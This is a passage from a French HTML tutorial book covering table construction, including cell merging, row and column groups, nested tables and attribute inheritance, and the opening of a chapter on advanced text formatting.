cellules sélectionnées : les trois cellules concernées fusionnent.
8 De la même façon, faites fusionner les secondes cellules des
lignes 3 et 4, puis les deux dernières cellules des lignes 3 et 4.

Figure 4.36 : Aspect de la page Ma région après l’étape 8

9 Placez-vous dans la première cellule et saisissez ...Une image

sera placée ici… Placez-vous dans la seconde cellule de la
première ligne et saisissez Ma région est célèbre pour ses
forêts, ses montagnes et ses lacs. Saisissez dans les
cellules vides de la seconde ligne respectivement Les forêts,
Les montagnes et Les lacs.
10 Sur la troisième ligne, saisissez dans la seconde cellule Ici, du
texte à compléter et dans la troisième Ici, une autre
image.

114 LE GUIDE COMPLET

 Tableaux Chapitre 4

11 Il subsiste quelques détails à régler : placez-vous sur le titre de

niveau 1 et choisissez dans la barre d’outils Format > Aligner >
Centrer. Cela centre le titre. Ensuite, vous ne devez pas oublier
d’ajouter un nom d’auteur. Cela est accompli à l’aide de l’option
de menu Outils > Préférences. La page Options s’affiche. Cliquez
sur Paramètres de pages et, dans la fenêtre de droite, saisissez
dans le champ Auteur mon nom (où mon nom est votre nom).
12 Le tableau obtenu ressemble beaucoup à ce que nous avions fait
précédemment, mais a été réalisé ici avec une grande facilité.
Enregistrez votre travail. Choisissez Fichier > Enregistrer sous.
Le programme vous demande de saisir un titre (le contenu de
l’élément TITLE). Saisissez Ma région et cliquez sur OK. Dans
la boîte de dialogue Enregistrer sous, naviguez jusqu’au dossier
Mon Site Web et enregistrez le fichier sous le nom [Link].

Figure 4.37 : Aspect de la page terminée dans l’éditeur Nvu

13 Il serait maintenant intéressant d’examiner le code source ainsi

généré. Rien de plus simple : cliquez en bas de la fenêtre sur
l’onglet Source. Le code source s’affiche (voir Figure 4.38).

Ce code est très semblable à celui créé manuellement. Remarquez

toutefois quelques différences :

LE GUIDE COMPLET 115

 Chapitre 4 Listes et tableaux

Figure 4.38 : Code source de la page

j Comme nous l’avons déjà vu auparavant, les caractères accentués

sont représentés par des séquences « bizarres » de caractères.
Nous examinerons ceux-ci dans le prochain chapitre.
j La balise TABLE emploie un nouvel attribut (style= "margin
−left: auto; margin−right: auto; text−align: left;
width: 100%;"). Il sera examiné en détail dans le Chapitre 8,
traitant des feuilles de style.
j Les balises TD se voient dotées d’attributs que nous connaissons,
mais possédant la valeur "undefined" (<td colspan="1"
rowspan="4" align="undefined" valign="undefined">).
C’est un des petits problèmes des éditeurs HTML, qui insèrent
automatiquement des balises et attributs supplémentaires, ce qui
alourdit le code. Lorsque HTML constate l’absence de ces
attributs avec une valeur spécifiée, il considère qu’ils sont
présents avec leur valeur par défaut : il est donc superflu de les
ajouter, cela alourdissant inutilement le code.
j Il manque cependant l’élément META indiquant la version du
fichier : ajoutez-la manuellement, puis enregistrez le fichier en
cliquant sur Enregistrer.

Comme vous venez de le voir, il est bien plus simple de créer un tableau
à l’aide d’un éditeur HTML comme Nvu que de le bâtir de toutes pièces
dans un simple éditeur de texte, à moins de faire preuve d’une rare
maîtrise du code HTML !

116 LE GUIDE COMPLET

 Tableaux Chapitre 4

Cellules manquantes et cellules se recoupant

Deux problèmes sont fréquents avec les tableaux possédant des cellules
fusionnées : l’oubli d’une cellule dans une ligne et le recouvrement de
cellules. Pour voir ce qui se passe dans ces conditions, nous allons
modifier à l’aide d’un éditeur de texte la page ré[Link].
1 Ouvrez le Bloc-Notes s’il ne l’est pas déjà, puis ouvrez le fichier
[Link].
2 Par sécurité, enregistrez-le tout de suite sous le nom
region_erreur.html.
3 Modifiez le titre (élément TITLE) :
<TITLE>Ma région (page avec erreurs)</TITLE>

4 Comme d’habitude, modifiez le numéro de version :

<META name ="version" content="1.4.1">

5 Modifiez la légende (élément CAPTION) :

<CAPTION>Ma région (tableau avec erreurs)</CAPTION>

6 Vous allez d’abord créer une nouvelle ligne en « oubliant » une

cellule. Pour ce faire, placez-vous avant la balise de fermeture
</TABLE>, appuyez sur [Ä] puis saisissez :
<TR>
<TD><BR></TD>
<TD><BR></TD>
<TD><BR></TD>
</TR>

Une astuce a été utilisée ici : pour créer une cellule vide qui
possède toutefois un écartement entre ses bordures, insérez dans
celle-ci un saut de ligne (<BR>). Cela n’augmente pas l’espace
blanc, mais crée une cellule vide.

Cellule vide
Pour créer une cellule vide qui affiche cependant un écartement entre
ses bordures, insérez dans celle-ci un saut de ligne (<BR>).

XHTML
Souvenez-vous : en XHTML, vous devez saisir <br />.

LE GUIDE COMPLET 117

 Chapitre 4 Listes et tableaux

7 Enregistrez votre fichier, puis examinez-le dans un navigateur.

Figure 4.39 : Aspect de la page region_erreurs après l’étape 7

Curieux, non ? Il y a bien une erreur, mais pas celle à laquelle vous vous
attendiez. Plutôt que de voir une nouvelle ligne à laquelle manque une
cellule, trois cellules sont ajoutées à la droite de la dernière ligne…

Réfléchissez : si le tableau comportait théoriquement quatre lignes de

quatre cellules (reportez-vous à la figure page 110), il a été précisé que
la quatrième ligne était créée implicitement, dans la mesure où toutes les
cellules de la ligne précédente (la troisième) s’étendaient sur deux lignes
(en réalité, quatre pour la première cellule, qui débute sur la première
ligne). Le Listing page 110 ne présente effectivement que trois éléments
TR. Lorsque vous ajoutez un nouvel élément TR, celui-ci est considéré
comme étant la quatrième ligne, possédant déjà quatre cellules définies.
Les trois nouvelles cellules vont donc s’ajouter à la droite de celles-ci,
sur cette même ligne, d’où l’aspect affiché.
8 Ajoutez un élément ligne vide (<TR></TR>) avant la balise
d’ouverture de celui que vous venez d’insérer. Enregistrez votre
fichier, puis examinez-le dans un navigateur.

Figure 4.40 : Aspect de la page region_erreurs après l’étape 6

118 LE GUIDE COMPLET

 Tableaux Chapitre 4

Une ligne supplémentaire apparaît bien : elle comporte une cellule de

moins que ce qui est normalement nécessaire, comme vous vous y
attendiez.

Remarquez que cet exemple démontre qu’il est inutile, voire dangereux,
de créer des cellules s’étendant sur plusieurs lignes lorsque toutes les
cellules d’une ligne s’étendent vers le bas d’un même incrément : cela
reste invisible à l’écran et risque d’entraîner par la suite des erreurs, en
cas de modification de la page. Mieux vaudrait ici supprimer l’attribut
rowspan="2" dans les cellules de la troisième ligne, et modifier
l’attribut de la première cellule en rowspan="3". Vous pourrez alors
supprimer en toute sécurité l’élément ligne vide. Faites-le donc.
8 Vous allez maintenant définir des cellules qui se chevauchent.
Modifiez le second élément TD du second élément TR (donc en
réalité la troisième cellule de la seconde ligne) :
<TD rowspan="2">Les montagnes</TD>

9 Enregistrez votre fichier, puis examinez-le dans votre navigateur.

Figure 4.41 : Aspect de la page region_erreurs après l’étape 8

En théorie, cette cellule se recoupe désormais avec la troisième cellule

de la troisième ligne. En pratique, la restitution de cette erreur (car c’en
est une) peut varier selon le mode de gestion de l’agent utilisateur
concerné. Ici, pratiquement quel que soit le navigateur employé, la
cellule « Les montagnes » s’étend vers le bas, la cellule normalement
située au-dessous étant repoussée vers la droite et semblant ne plus
s’étendre latéralement sur deux cellules. Cela est d’ailleurs faux :
vérifiez-le.
10 Ajoutez une cellule vide (<TD><BR></TD>) après la cellule « Les
lacs » :
<TD>Les lacs</TD><TD><BR></TD>

LE GUIDE COMPLET 119

 Chapitre 4 Listes et tableaux

11 Enregistrez votre fichier, puis examinez-le dans votre navigateur.

Figure 4.42 : Aspect de la page region_erreurs après l’étape 10

Vous voyez, grâce à l’apparition de la nouvelle cellule, que la cellule

« Ici, une autre image » s’étend bien sur deux cellules. Le code de ce
tableau prodigieusement laid, puisque bourré d’erreurs, est présenté dans
le listing suivant, comme exemple à ne surtout pas suivre : ne créez
jamais de cellules se recouvrant !
Listing 4-5 : Fichier region_erreurs.html.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><HTML>
<HTML>
<HEAD>
<TITLE>Ma région (page avec erreurs)</TITLE>
<META name="author" content="Justin Bogue">
<META name ="version" content="1.4.1">
</HEAD>
<BODY>
<TABLE border="2" align="center"
summary="Présentation de ma région">
<CAPTION>Ma région (page avec erreurs)</CAPTION>
<TR>
<TD rowspan="3">...Une image sera placée ici...</TD>
<TD colspan="3">Ma région est célèbre pour ses forêts,
ses montagnes et ses lacs.</TD>
</TR>
<TR>
<TD>Les forêts</TD>
<TD rowspan="2">Les montagnes</TD>
<TD>Les lacs</TD><TD><BR></TD>
</TR>
<TR>
<TD>ici, du texte à compléter </TD>
<TD colspan="2">Ici, une autre image </TD>
</TR>
<TR>
<TD><BR></TD>
<TD><BR></TD>

120 LE GUIDE COMPLET

 Tableaux Chapitre 4

<TD><BR></TD>
</TR>
</TABLE>
</BODY>
</HTML>

Regroupement de lignes : éléments THEAD,

TFOOT et TBODY
Il est possible de regrouper les lignes d’un tableau dans des sections
d’en-tête, de pied et de corps (à l’aide respectivement des éléments
THEAD, TFOOT et TBODY). Ces regroupements apportent des
informations de structure supplémentaires, qui peuvent être utilisées par
les agents utilisateurs pour souligner cette structure. Les agents
utilisateurs peuvent exploiter le découpage en-tête/corps/pied de façon à
faire défiler le corps indépendamment des sections d’en-tête et de pied.
Pour l’impression d’un grand tableau, les informations d’en-tête et de
pied peuvent être répétées sur chacune des pages qui contiennent les
données du tableau.

Chacun de ces éléments encadre au moins un élément TR. Ils possèdent

tous les attributs facultatifs standard ainsi que les attributs d’alignement,
qui seront alors appliqués à toutes les cellules du groupe de lignes.

Si vous utilisez ces éléments, l’élément TFOOT doit précéder l’élément

TBODY dans votre code HTML, afin que les navigateurs Web puissent
afficher les informations du pied avant de charger la totalité des lignes
de données.

Les sections THEAD, TFOOT et TBODY doivent contenir le même nombre

de colonnes. Plusieurs éléments TBODY peuvent coexister. L’exemple
suivant illustre l’ordre et la structure des en-têtes, pieds et corps de
tableau.
<TABLE>
<THEAD>
<TR> ...informations d’en-tête...
</THEAD>
<TFOOT>
<TR> ...informations de pied...
</TFOOT>
<TBODY>
<TR> ...première rangée des données du bloc 1...
<TR> ...seconde rangée des données du bloc 1...
</TBODY>
<TBODY>

LE GUIDE COMPLET 121

 Chapitre 4 Listes et tableaux

<TR> ...première rangée des données du bloc 2...

<TR> ...deuxième rangée des données du bloc 2...
<TR> ...troisième rangée des données du bloc 2...
</TBODY>
</TABLE>

Nous allons examiner un exemple plus concret. Supposons que dans vos
passions figurent les ouvrages de science-fiction : vous avez conçu une
liste d’une cinquantaine d’ouvrages, répartis en plusieurs thèmes, que
vous avez présentée en tableau. Celui-ci se trouve dans une page
nommée [Link], qui est connectée à votre page Mes passions. Par pure
charité, nous vous épargnerons la saisie de ce tableau, pour ne vous en
présenter que le résultat.

Figure 4.43 : Page avec tableaux renfermant des éléments THEAD, TBODY
et TFOOT.

En apparence, ces regroupements sont sans effet : ils n’entrent en jeu

que pour un affichage progressif et une impression. La figure suivante
présente un extrait du code source de la page (voir Figure 4.44).

La balise ouvrante de l’élément TBODY est toujours obligatoire si le

tableau possède un en-tête ou un pied. Elle peut être omise en leur
absence. Les balises fermantes des trois éléments TBODY peuvent être
omises, mais cela reste déconseillé.

Regroupement de colonnes : éléments COL

et COLGROUP
Comme vous devez l’avoir désormais bien compris, HTML regroupe les
cellules de données en lignes à l’aide de l’élément TR. Chaque élément
TR signale une nouvelle ligne du tableau, ces lignes se présentant en

122 LE GUIDE COMPLET

 Tableaux Chapitre 4

séquence, du haut vers le bas. Il n’existe pas d’élément correspondant

TC pour les colonnes d’un tableau : il est par conséquent parfois délicat
de placer des données en colonnes dans un tableau : il faut s’assurer que
chaque ligne possède suffisamment de cellules, et que chaque colonne
contient bien les bonnes données.

Figure 4.44 :
Code source de la page
[Link]

HTML 4.0 permet toutefois d’effectuer un regroupement structurel de

colonnes à l’aide de l’élément COLGROUP et dans le but d’une mise en
forme à l’aide de l’élément COL. Cette structure peut être mise en
évidence grâce aux feuilles de style ou à des attributs HTML (comme
l’attribut rules pour l’élément TABLE).

Un tableau contient soit un unique groupe de colonnes implicite (pas

d’élément COLGROUP), soit un certain nombre de groupes de colonnes
explicites, délimités chacun par une instance de l’élément COLGROUP.

Quand il est nécessaire d’isoler une ou plusieurs colonnes (par exemple,

pour une information de style ou de largeur spécifique) au sein d’un
groupe, les auteurs doivent identifier cette colonne avec un élément COL.
L’élément COL permet de partager des attributs entre plusieurs colonnes,
sans faire appel à un regroupement structurel.

LE GUIDE COMPLET 123

 Chapitre 4 Listes et tableaux

Ces deux éléments possèdent un attribut capital, span, dont la valeur est
un entier supérieur à 0 et qui spécifie le nombre de colonnes concernées.
Sa valeur par défaut est 1 : c’est cette valeur qui est employée lorsque
l’attribut est absent, ce qui correspond à un groupe ne contenant qu’une
seule colonne.

Lorsque cet élément est présent dans un élément COLGROUP, les agents
utilisateurs doivent l’ignorer si l’élément contient un ou plusieurs
éléments COL.

L’intérêt de l’attribut span est qu’il permet de regrouper les

informations concernant les largeurs de colonnes. Ainsi, si une table
contient n colonnes, chacune d’elles ayant une largeur de 30 pixels, il est
plus facile d’écrire :
<COLGROUP span="n" width="30">…</COLGROUP>

que :
<COLGROUP>
<COL width="30">
<COL width="30">
...jusqu’à totaliser n éléments COL...
</COLGROUP>

Pour appliquer une information de style particulière à la colonne m d’un

tableau possédant n colonnes, vous l’isolez comme suit :
<COLGROUP width="20">
<COL span="m-1">
<COL id="mise-en-forme-particuliere">
<COL span="n-m">
</COLGROUP>

Un second attribut, width, spécifie la largeur par défaut de chaque

colonne dans le groupe de colonnes courant. Sa valeur peut être
exprimée comme habituellement en pixels, en pourcentage ou de façon
relative, mais également à l’aide de la forme spéciale "0*" (zéro et
astérisque). Celle-ci stipule que la largeur de chaque colonne du groupe
doit être suffisante pour rendre le contenu de la colonne. Ceci implique
que ce contenu soit connu en totalité avant que la largeur ne puisse être
calculée exactement. La spécification de la valeur "0*" va donc
empêcher l’agent utilisateur d’effectuer une restitution progressive du
tableau.

Comme pour span, un attribut width présent dans un élément COL

outrepasse celui présent dans COLGROUP, pour les colonnes concernées.

124 LE GUIDE COMPLET

 Tableaux Chapitre 4

Il est capital de bien comprendre les rôles respectifs de ces deux

éléments : si l’élément COLGROUP est un rassemblement structurel,
l’élément COL rassemble les spécifications d’attributs pour les colonnes
du tableau, mais ne rassemble pas les colonnes de manière structurelle.
Les éléments COL sont vides et ne servent que de support pour les
attributs. Ils peuvent apparaître à l’intérieur comme à l’extérieur d’un
élément COLGROUP.

Ces deux éléments acceptent les attributs d’alignement horizontal et

vertical déjà rencontrés (align et valign), ainsi que l’attribut width.

Les copies d’écran de la page 134 montrent la page précédente, [Link],

ayant recours à un simple élément COL placé après la balise ouvrante de
l’élément TABLE (<COL span="3" valign="top">) pour définir
l’alignement vertical dans les cellules : cela fonctionne parfaitement
avec Internet Explorer et Amaya, mais malheureusement pas avec
Firefox. Vous pouvez mettre en forme les colonnes en travaillant
individuellement sur chaque cellule de la colonne, comme cela a été
décrit précédemment : une tâche laborieuse qui augmente fortement la
taille du code source, mais demeure hélas la seule solution de
compatibilité avec les navigateurs non standard.

Figure 4.45 : Page [Link] avec recours à des éléments COL examinée sous
différents navigateurs

LE GUIDE COMPLET 125

 Chapitre 4 Listes et tableaux

Figure 4.46 : Sous un autre navigateur

Figure 4.47 : Sous encore un autre navigateur

Fusion de cellules appartenant à différents regroupements

Vous devriez avoir déjà soupçonné que créer des éléments COLGROUP
ou COL n’empêchait pas la fusion de cellules individuelles qui
appartiennent à des éléments différents. Cela est possible, mais mieux
vaut vous en abstenir. Selon l’agent utilisateur, la cellule ainsi fusionnée
peut prendre les propriétés du premier élément ou du second élément de
regroupement, voire empêcher simplement l’affichage correct du tableau.

126 LE GUIDE COMPLET

 Tableaux Chapitre 4

Imbrication de tableaux
Il est possible d’imbriquer des tableaux : un tableau peut se trouver à
l’intérieur d’une cellule d’un autre tableau. Cela peut devenir extrêmement
complexe à comprendre dans le code HTML : prenez garde à bien utiliser
des indentations pour savoir dans quel tableau vous vous trouvez !

Prenons un exemple simple :

1 Ouvrez le Bloc-Notes s’il ne l’est pas déjà, puis ouvrez le fichier
[Link].
2 Comme d’habitude, modifiez le numéro de version :
<META name ="version" content="1.4.3">

3 Modifiez la légende (élément CAPTION) :

<CAPTION>Ma région (tableaux imbriqués)</CAPTION>

4 Comme vous l’avez fait dans la page region_erreurs, supprimez

l’attribut rowspan="2" dans les cellules de la troisième ligne, et
modifiez l’attribut de la première cellule en rowspan="3".
5 Placez-vous dans la deuxième cellule de la troisième ligne,
autrement dit dans le premier élément TD du dernier élément TR.
Effacez le texte « Ici, du texte à compléter », appuyez deux fois
sur [Ä] et placez-vous sur la première ligne vierge.
6 Saisissez le fragment de code suivant, créant un nouveau tableau
imbriqué :
<TABLE align="center" border="1" width="100%">
<CAPTION>Données climatologiques</CAPTION>
<TR>
<TH>Temp. Max.</TH><TD align="right">18 °</TD>
</TR>
<TR>
<TH>Temp. min.</TH><TD align="right">-3,1 °</TD>
</TR>
<TR>
<TH>Pluie</TH></TH><TD align="right">682 mm</TD>
</TR>
</TABLE>

7 Remarquez que nous avons retenu ici une nouvelle disposition :

les en-têtes sont disposés en colonne et non plus en ligne.
Enregistrez ce fichier et examinez-le dans votre navigateur.

LE GUIDE COMPLET 127

 Chapitre 4 Listes et tableaux

Figure 4.48 : Tableaux imbriqués

Autres précisions concernant les tableaux

La puissance et la richesse des tableaux font qu’ils sont largement
employés comme outils de conception, et ce sur la grande majorité des
sites. Cela pose encore quelques problèmes liés à la compatibilité entre
navigateurs. Plus encore, en utilisant exactement la même version du
même navigateur sur deux machines différentes, vous pourriez voir tout
le tableau sur l’une et être obligé de faire défiler l’écran sur la seconde.
Un tableau doit être conçu avec la plus grande prudence. Par exemple,
en définissant l’attribut width (largeur) en pixels, le tableau cesse d’être
universel et n’offre un résultat parfait qu’à ceux qui possèdent
exactement la même résolution d’écran et la même taille de fenêtre.
Si vous voulez absolument utiliser des tableaux pour réaliser votre mise
en page, et si les feuilles de style n’apportent pas de réponse
satisfaisante (ce qui serait pour le moins surprenant), veillez à définir
l’attribut width en pourcentage, le pourcentage de la fenêtre devant être
occupé par chaque colonne ou cellule.
Pour restituer un tableau, tout agent utilisateur peut effectuer les
opérations suivantes :
j Restituer le contenu de l’attribut summary. Il est préférable de
fournir une description du contenu et de la structure du tableau
afin que les visiteurs qui emploient des agents utilisateurs non
visuels puissent mieux la comprendre.
j Restituer la légende (élément CAPTION), si elle est présente.
j Restituer l’en-tête et/ou le pied du tableau (si présents). Par
exemple, s’il s’agit d’un média paginé en sortie, les agents

128 LE GUIDE COMPLET

 Tableaux Chapitre 4

utilisateurs peuvent placer l’en-tête en haut de chaque page et le

pied en bas de chacune d’elles. De la même manière, si l’agent
utilisateur fournit un mécanisme pour faire défiler les rangées,
l’en-tête peut apparaître en haut de la zone qui a défilé et le pied
en bas de celle-ci.
j Calculer le nombre de colonnes dans la table (c’est le nombre
d’éléments TR de l’élément TABLE).
j Regrouper les colonnes en fonction des éventuelles spécifications
de regroupement de colonnes.
j Restituer les cellules, rangée par rangée et regroupées dans les
colonnes appropriées, entre l’en-tête et le pied. Les agents
utilisateurs devraient mettre en forme le tableau d’après les
attributs HTML et les spécifications de la feuille de style.

Le modèle de tableau HTML 4.01 a été conçu pour que les agents
utilisateurs puissent restituer progressivement les tableaux, plutôt que de
devoir attendre la réception de la totalité des données avant de
commencer la restitution. Pour que cela soit possible, les concepteurs
doivent indiquer le nombre de colonnes du tableau ainsi que la largeur
de ses colonnes.
Plus précisément, l’agent utilisateur peut restituer un tableau en une
seule passe quand les largeurs de colonnes sont spécifiées à l’aide d’une
combinaison d’éléments COLGROUP et COL. Si une des colonnes est
spécifiée en termes relatifs ou en pourcentage, il faut aussi spécifier la
largeur du tableau en question.
Les agents utilisateurs visuels permettent aux personnes voyantes
d’embrasser rapidement la structure du tableau à partir des en-têtes (TH) et
de la légende (CAPTION). En revanche, ceux-ci seront souvent inadaptés
pour les personnes qui dépendent d’agents utilisateurs non visuels.

Les agents utilisateurs visuels devraient éviter le rognage de toute partie

du tableau contenant la légende, à moins de fournir un moyen pour
accéder à toutes les parties du tableau, par exemple par défilement
horizontal ou vertical.

Calcul du nombre de colonnes dans

un tableau
Il existe deux façons de déterminer le nombre de colonnes dans une
table (par ordre de priorité) :

LE GUIDE COMPLET 129

 Chapitre 4 Listes et tableaux

1 Si l’élément TABLE contient des éléments COLGROUP ou COL, les

agents utilisateurs calculent comme suit le nombre de colonnes :
Pour chaque élément COL, prendre la valeur de son attribut
span (la valeur par défaut est "1").
Pour chaque élément COLGROUP contenant au moins un
élément COL, ignorer l’attribut span de l’élément COLGROUP.
Pour chaque élément COL, effectuer les calculs de l’étape 1.
Pour chaque élément COLGROUP vide, prendre la valeur de son
attribut span (la valeur par défaut étant "1").
2 Sinon, quand l’élément TABLE ne contient aucun élément
COLGROUP ou COL, les agents utilisateurs devraient fonder le
nombre de colonnes sur ce qui est requis par les lignes. Le
nombre de colonnes est égal au nombre de colonnes requises par
la ligne possédant le plus de colonnes, y compris les cellules qui
couvrent plusieurs colonnes. Les lignes possédant un nombre de
colonnes moindre seront garnies de cellules vides en fin de ligne.
La « fin » d’une ligne dépend de la directionnalité du tableau.

Lorsqu’un tableau contient des éléments COLGROUP ou COL et que les

deux types de calcul n’aboutissent pas au même nombre de colonnes,
cela entraîne une erreur.

Une fois que l’agent utilisateur a calculé le nombre de colonnes dans le

tableau, il peut les regrouper en groupes de colonnes.

Héritage des attributs

Le problème de l’héritage des attributs d’alignement dans un tableau
peut parfois sembler complexe. Certains d’entre eux peuvent être hérités
de l’élément TABLE ou de la ligne à laquelle la cellule appartient.
Certains peuvent également être hérités d’une colonne, à l’aide
d’éléments COLGROUP ou COL.

Les regroupements de colonnes apportent des informations structurelles

supplémentaires qui peuvent être exploitées par les agents utilisateurs. Il
est également possible de déclarer des propriétés de colonnes au début
de la définition du tableau (via les éléments COLGROUP et COL), pour que
les agents utilisateurs puissent restituer progressivement la table au lieu
de devoir attendre que toutes les données du tableau soient arrivées
avant de pouvoir les restituer.

130 LE GUIDE COMPLET

 Tableaux Chapitre 4

L’alignement du contenu des cellules peut être spécifié cellule par

cellule ou bien peut être hérité des éléments qui l’englobent tels que la
rangée, la colonne ou la table même.

L’ordre de priorité (de la plus élevée à la plus basse) des attributs

d’alignement (align, char et charoff) est le suivant :
1 L’attribut d’alignement défini sur un élément à l’intérieur des
données de la cellule (par exemple, un élément P).
2 L’attribut d’alignement défini sur une cellule (les éléments TH et
TD).
3 L’attribut d’alignement défini sur un élément de regroupement de
colonnes (les éléments COL et COLGROUP). Quand la cellule
appartient à un regroupement de colonnes, la propriété
d’alignement est héritée de la définition de la cellule initiant le
recouvrement.
4 L’attribut d’alignement défini sur un élément de ligne ou de
regroupement de lignes (les éléments TR, THEAD, TFOOT et
TBODY). Quand la cellule appartient à un ensemble de plusieurs
lignes, la propriété d’alignement est héritée de la définition de la
cellule initiant le recouvrement.
5 L’attribut d’alignement défini sur la table (l’élément TABLE).
6 La valeur d’alignement par défaut.
L’ordre de priorité (de la plus élevée à la plus basse) de l’attribut
valign (ainsi que des autres attributs hérités lang, dir et style) est
le suivant :
1 L’attribut défini sur un élément à l’intérieur des données de la
cellule (par exemple, un élément P).
2 L’attribut défini sur une cellule (les éléments TH et TD).
3 L’attribut défini sur un élément de rangée ou de regroupement de
rangées (les éléments TR, THEAD, TFOOT et TBODY). Quand la
cellule fait partie d’un ensemble recouvrant plusieurs rangées, la
valeur de l’attribut est héritée de la définition de la cellule initiant
le recouvrement.
4 L’attribut défini sur un élément de regroupement de colonnes (les
éléments COL et COLGROUP). Quand la cellule appartient à un
regroupement de colonnes, la valeur de l’attribut est héritée de la
définition de la cellule initiant le recouvrement.
5 L’attribut défini sur la table (l’élément TABLE).

LE GUIDE COMPLET 131

 Chapitre 4 Listes et tableaux

6 La valeur par défaut de l’attribut.

En outre, lors de la restitution des cellules, l’alignement horizontal est
déterminé par les colonnes, de préférence aux lignes, tandis que les
lignes ont la préférence sur les colonnes pour l’alignement vertical.
Il existe un attribut non encore examiné, l’attribut dir. Celui-ci définit
la directionnalité d’un tableau (qui, par défaut, est de gauche à droite).
Pour une table de gauche-à-droite, la colonne zéro se trouve sur le côté
gauche et la rangée zéro se trouve en haut. Pour une table de droite-à-
gauche, la colonne zéro se trouve sur le côté droit et la rangée zéro en
haut. Lorsqu’il est spécifié pour l’élément TABLE, l’attribut dir affecte
aussi la direction du texte à l’intérieur des cellules du tableau (puisqu’il
est hérité par les éléments de type bloc).
Pour spécifier une table de droite-à-gauche, fixez la valeur de l’attribut
dir comme suit :
<TABLE dir="RTL">
...le reste du tableau...
</TABLE>

Il est possible de modifier la direction du texte dans une cellule

individuelle en spécifiant l’attribut dir dans l’élément qui définit cette
cellule.

Élément TABLE
L’élément TABLE est le seul pour lequel l’attribut dir inverse l’ordre
visuel des colonnes : une ligne de tableau (TR) ou un groupe de colonnes
(COLGROUP) seuls ne peuvent être inversés indépendamment.

Remarquez bien qu’une cellule peut hériter de la valeur d’un attribut

non de son parent, mais de la première cellule d’un recouvrement. Il
s’agit d’une exception aux règles générales d’héritage des attributs.

Autres mises en forme de tableaux :

attributs char et charoff
Lors de la première publication de la spécification, en 1997, la
spécification des feuilles de style CSS1 n’offrait pas de mécanismes
permettant le contrôle de tous les aspects de la mise en forme visuelle
des tables. Depuis lors, la spécification des feuilles de style CSS2 a
ajouté des propriétés qui permettent la mise en forme visuelle des tables.

132 LE GUIDE COMPLET

 Résumé Chapitre 4

L’attribut d’alignement align employé dans un tableau peut posséder

une valeur particulière (align="char"), qui stipule que l’alignement
est effectué sur un caractère unique présent dans un fragment de texte
qui sert d’axe d’alignement.
Ce caractère est défini par l’attribut char, dont la valeur par défaut est
le séparateur point décimal pour la langue courante, telle qu’elle est
définie par l’attribut lang (par exemple, le point « . » pour l’anglais et
la virgule « , » pour le français).
L’attribut charoff, quand il est présent, spécifie le décalage de la
première occurrence du caractère d’alignement sur chaque ligne. Si la
ligne ne comprend pas de caractère d’alignement, elle devrait glisser
horizontalement de manière à finir sur la position d’alignement.
Lors du recours à l’attribut charoff pour fixer le décalage du caractère
d’alignement, la direction du décalage est déterminée par la direction de
texte courante (telle que spécifiée par l’attribut dir). Dans les textes de
gauche-à-droite (la valeur par défaut), le décalage s’opère à partir de la
marge de gauche. Inversement, pour les textes de droite-à-gauche, le
décalage s’effectue à partir de la marge de droite.
Hélas ! Si la spécification mentionne effectivement que les agents
utilisateurs ne sont pas obligés de gérer ces attributs, aucun des
navigateurs testés n’a été en mesure de le faire dans leurs versions
actuelles (Firefox [Link], Mozilla 9, Internet Explorer 7.0.5730 et
Amaya 7.8.3)…

4.3. Résumé
j Il est possible de créer en HTML trois types de listes : ordonnées
ou numérotées, non ordonnées ou listes à puces et listes de
définitions.
j Une liste numérotée est créée à l’aide de l’élément OL renfermant
des items de liste LI. Il est possible de modifier le type de
numérotation à l’aide de l’attribut type, la valeur de début à
l’aide de l’attribut start et de réinitialiser la numérotation dans
un item de liste à l’aide de l’attribut value.
j Une liste à puces est créée à l’aide de l’élément UL renfermant des
items de liste LI. Il est possible de modifier l’aspect de la puce à
l’aide de l’attribut type, pour toute la liste ou pour un item
particulier.

LE GUIDE COMPLET 133

 Chapitre 4 Listes et tableaux

j Une liste de définitions est créée à l’aide de l’élément DL

renfermant des éléments enfants DT (terme de définition) et DD
(description de la définition).
j Il est possible d’imbriquer un nombre quelconque de listes de tous
types.
j Un tableau est créé à l’aide de l’élément TABLE. Il contient des
lignes (élément TR) et des colonnes créant des cellules pouvant
renfermer des informations de rubrique (élément TH) ou des
informations de données (élément TD).
j L’élément TABLE possède trois attributs, border, frame et
rules, qui indiquent à l’agent utilisateur les bordures et les
règles à restituer.
j L’élément CAPTION permet de doter le tableau d’une légende. Il
est également utile de renseigner l’attribut summary de l’élément
TABLE, au bénéfice des agents utilisateurs non visuels.
j Les attributs cellspacing et cellpadding permettent de
modifier respectivement l’espacement entre les cellules, ainsi que
le décalage entre le contenu de la cellule et la bordure.
j L’alignement horizontal d’un tableau s’effectue à l’aide de
l’attribut align et l’alignement vertical grâce à l’attribut
valign. La largeur est contrôlée par l’attribut width. Elle peut
être exprimée de façon fixe, en pourcentage ou
proportionnellement.
j Il est possible de fusionner des cellules d’une même ligne à l’aide
de l’attribut colspan et d’une même colonne à l’aide de l’attribut
rowspan. Ces deux attributs peuvent être combinés.
j Vous regroupez structurellement des lignes à l’aide d’éléments
d’en-tête de tableau (THEAD), de corps de tableau (TBODY) et de
pied de tableau (TFOOT).
j Vous regroupez structurellement des colonnes à l’aide d’éléments
COLGROUP et définissez des attributs partagés à l’aide d’éléments
COL. L’attribut span spécifie l’étendue d’un regroupement.
j Il est possible d’imbriquer des tableaux.
j C’est avec les tableaux qu’il est possible de constater les
différences de restitution les plus importantes entre navigateurs.

134 LE GUIDE COMPLET

 Mise en forme
avancée

Principaux éléments structuraux ................................................................................... 136

Éléments de structuration du texte ............................................................................... 149
Caractères spéciaux et encodage de caractères ...................................................... 156
Modification de l’apparence du texte ........................................................................... 164
Notation mathématique .................................................................................................... 169
Résumé ................................................................................................................................ 173
 Chapitre 5 Mise en forme avancée

HTML propose de nombreuses autres possibilités de mise en forme des

pages ou de portions de texte, à l’aide d’éléments de type bloc ou de
type ligne. Tous répondent à des besoins précis, et peuvent être
employés de diverses façons, par exemple soit à la place de l’élément de
paragraphe normal P, soit en combinaison avec celui-ci.

Éléments étudiés dans ce chapitre :

HR
<!-- -->
DIV, SPAN
PRE, TT
BLOCQUOTE, Q
CITE
ABBR, ACRONYM
EM, STRONG
OBJECT
CODE, SMP, KBD

5.1. Principaux éléments structuraux

Élément HR
Cet élément bloc est probablement le plus curieux de cette série, car il
s’agit d’un élément vide dépourvu de balise de fermeture, dont le seul
rôle est d’insérer une ligne horizontale à l’écran. Placez-le après les
titres principaux et les changements de section. Une telle barre
horizontale constitue une preuve manifeste de changement de sujet.
